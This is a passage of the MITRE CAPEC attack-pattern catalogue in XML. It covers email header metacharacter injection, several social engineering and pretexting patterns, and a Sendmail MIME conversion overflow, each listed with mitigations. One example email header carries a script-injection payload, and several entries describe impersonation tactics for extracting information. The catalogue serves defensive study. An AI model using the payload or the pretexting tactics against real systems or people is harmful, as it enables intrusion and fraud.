												<Attack_Step_Technique_Description>
												<Text>Send emails with specifically-constructed,
												metacharater-based malicious payloads in the email
												headers to targeted systems running email
												processing applications identified as vulnerable
												during the Experiment Phase.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The payload executes on the
												target user's system.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Filtering email
												headers for malicious
												content.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>This attack targets most widely deployed feature rich email applications,
						including web based email programs.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>To:&lt;someone@example.com&gt;</Text>
						<Text>From:&lt;badguy@example.com&gt;</Text>
						<Text>Header&lt;SCRIPT&gt;payme&lt;/SCRIPT&gt;def: whatever</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Meta-characters are among the most valuable tools attackers have to
							deceive users into taking some action on their behalf. E-mail is perhaps
							the most efficient and cost effective attack distribution tool
							available, this has led to the phishing pandemic.</Text>
						<Text>Meta-characters like \w \s \d ^ can allow the attacker to escape out
							of the expected behavior to execute additional commands. Escaping out
							the process (such as email client) lets the attacker run arbitrary code
							in the user's process.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To distribute email</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Perform validation on email header data</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Implement email filtering solutions on mail server or on
						MTA, relay server.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Mail servers that perform strict validation may catch
						these attacks, because metacharacters are not allowed in many header
						variables such as dns names</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Email</Text>
			</Injection_Vector>
			<Payload>
				<Text>Metacharacters</Text>
			</Payload>
			<Activation_Zone>
				<Text>Email processing routines of Email program</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>150<!--Improper Neutralization of Escape, Meta, or Control Sequences--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>88<!--Argument Injection or Modification--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>242<!--Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>134<!--Email Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Examples</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="410" Name="Information Elicitation via Social Engineering"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages an individual using any combination of social
						engineering methods for the purpose of extracting information. Accurate
						contextual and environmental queues, such as knowing important information
						about the target company or individual can greatly increase the success of
						the attack and the quality of information gathered. Authentic mimicry
						combined with detailed knowledge increases the success of elicitation
						attacks.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>403<!--Social Engineering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="411" Name="Pretexting" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Deprecated">
			<Description>
				<Summary>
					<Text>An attacker engages in pretexting behavior to solicit information from
						target persons, or manipulate the target into performing some action that
						serves the attacker's interests. Pretexting involves a mixture of role-play,
						subterfuge, and possibly some forms of disguise. Basic pretexting attacks
						may simply seek to learn information about a target, but more complicated
						pretexting attacks seek to solicit a target to perform some action that
						assists the attacker in exploiting organizational weaknesses or obtaining
						access to secure facilities or systems. One example of a pretexting attack
						could be to dress up like a jogger and run in place by the entrance of a
						building, pretending to look for your access card. Because the hood obscures
						you face, it may be possible to solicit someone inside the building to let
						you inside.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanAlsoBe</Relationship_Nature>
					<Relationship_Target_ID>407<!--Social Information Gathering via Pretexting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Deprecated as duplicate of
							CAPEC-407</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="412" Name="Pretexting via Customer Service" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in pretexting behavior, assuming the role of someone
						who works for Customer Service, to solicit information from target persons,
						or manipulate the target into performing an action that serves the
						attacker's interests. One example of a scenario such as this would be to
						call an individual, articulate your false affiliation with a credit card
						company, and then attempt to get the individual to verify their credit card
						number. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>407<!--Social Information Gathering via Pretexting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="413" Name="Pretexting via Tech Support" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in pretexting behavior, assuming the role of a tech
						support worker, to solicit information from target persons, or manipulate
						the target into performing an action that serves the attacker's interests.
						An attacker who uses social engineering to impersonate a tech support worker
						can have devastating effects on a network. This is an effective attack
						vector, because it can give an attacker physical access to network
						computers. It only takes a matter of seconds for someone to compromise a
						computer with physical access. One of the best technological tools at the
						disposal of a social engineer, posing as a technical support person, is a
						USB thumb drive. These are small, easy to conceal, and can be loaded with
						different payloads depending on what task needs to be done. However, this
						form of attack does not require physical access as it can also be
						effectively carried out via phone or email. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>407<!--Social Information Gathering via Pretexting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="414" Name="Pretexting via Delivery Person" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in pretexting behavior, assuming the role of a
						delivery person, to solicit information from target persons, or manipulate
						the target into performing an action that serves the attacker's interests.
						Impersonating a delivery person is an effective attack and an easy attack
						since not much acting is involved. Usually the hardest part is looking the
						part and having all of the proper credentials, papers and "deliveries" in
						order to be able to pull it off. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>407<!--Social Information Gathering via Pretexting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="415" Name="Pretexting via Phone" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in pretexting behavior, assuming some sort of trusted
						role, and contacting the targeted individual or organization via phone to
						solicit information from target persons, or manipulate the target into
						performing an action that serves the attacker's interests. This is the most
						common social engineering attack. Some of the most commonly effective
						approaches are to impersonate a fellow employee, impersonate a computer
						technician or to target help desk personnel. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>407<!--Social Information Gathering via Pretexting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="416" Name="Target Influence via Social Engineering"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits inherent human psychological predispositions to
						influence a targeted individual or group to solicit information or
						manipulate the target into performing an action that serves the attacker's
						interests. Many interpersonal social engineering techniques do not involve
						outright deception, although they can; many are subtle ways of manipulating
						a target to remove barriers, make the target feel comfortable, and produce
						an exchange in which the target is either more likely to share information
						directly, or let key information slip out unintentionally. A skilled
						attacker uses these techniques when appropriate to produce the desired
						outcome. Manipulation techniques vary from the overt, such as pretending to
						be a supervisor to a help desk, to the subtle, such as making the target
						feel comfortable with the attacker's speech and thought patterns.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>403<!--Social Engineering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="417" Name="Target Influence via Perception of Reciprocation"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>416<!--Target Influence via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="418" Name="Target Influence via Perception of Obligation"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a social engineering technique to produce a sense of
						obligation within the target to volunteer some key or sensitive piece of
						information. Obligation has to do with actions one feels they need to take
						due to some sort of social, legal, or moral requirement, duty, contract, or
						promise. In the context of social engineering, obligation is closely related
						to reciprocation but is not limited to it. There are various techniques for
						producing a sense of obligation during ordinary modes of communication. One
						method is to compliment the target, and follow up the compliment with a
						question. If performed correctly the target may volunteer a key piece of
						information, sometimes involuntarily. It can also be as simple as holding an
						outer door for someone will usually make them hold the inner door for you.
						It can be escalated to someone giving you private info because you create a
						sense of obligation. This is a common attack vector when targeting customer
						service people. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>417<!--Target Influence via Perception of Reciprocation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="419" Name="Target Influence via Perception of Concession"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>417<!--Target Influence via Perception of Reciprocation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="42" Name="MIME Conversion" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in the MIME conversion routine to cause a
						buffer overflow and gain control over the mail server machine. The MIME
						system is designed to allow various different information formats to be
						interpreted and sent via e-mail. Attack points exist when data are converted
						to MIME compatible format and back.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine whether the mail server is unpatched and
												is potentially vulnerable to one of the known MIME
												conversion buffer overflows (e.g. Sendmail 8.8.3 and
												8.8.4).</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Identify places in the system where vulnerable
												MIME conversion routines may be used.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Send e-mail messages to the target system with
												specially crafted headers that trigger the buffer
												overflow and execute the shellcode.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target system uses a mail server.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Mail server vendor has not released a patch for the MIME conversion
						routine, the patch itself has a security hole or does not fix the original
						problem, or the patch has not been applied to the user's system.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Sendmail Overflow</Text_Title>
						<Text>A MIME conversion buffer overflow exists in Sendmail versions 8.8.3
							and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer
							overflow in the MIME handling code. By sending a message with
							specially-crafted headers to the server, a remote attacker can overflow
							a buffer and execute arbitrary commands on the system with root
							privileges.</Text>
						<Text>Sendmail performs a 7 bit to 8 bit conversion on email messages. This
							vulnerability is due to the fact that insufficient bounds checking was
							performed while performing these conversions. This gave attacker an
							opportunity to overwrite the internal stack of sendmail while it is
							executing with root privileges. An attacker first probes the target
							system to figure out what mail server is used on the system and what
							version. An attacker could then test out the exploit at their leisure on
							their own machine running the same version of the mail server before
							using it in the wild.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-1999-0047</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>It may be trivial to cause a DoS via this attack pattern</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Causing arbitrary code to execute on the target system.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The first step is to figure what mail server (and what version) is
							running on the target system.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Stay up to date with third party vendor patches</Text>
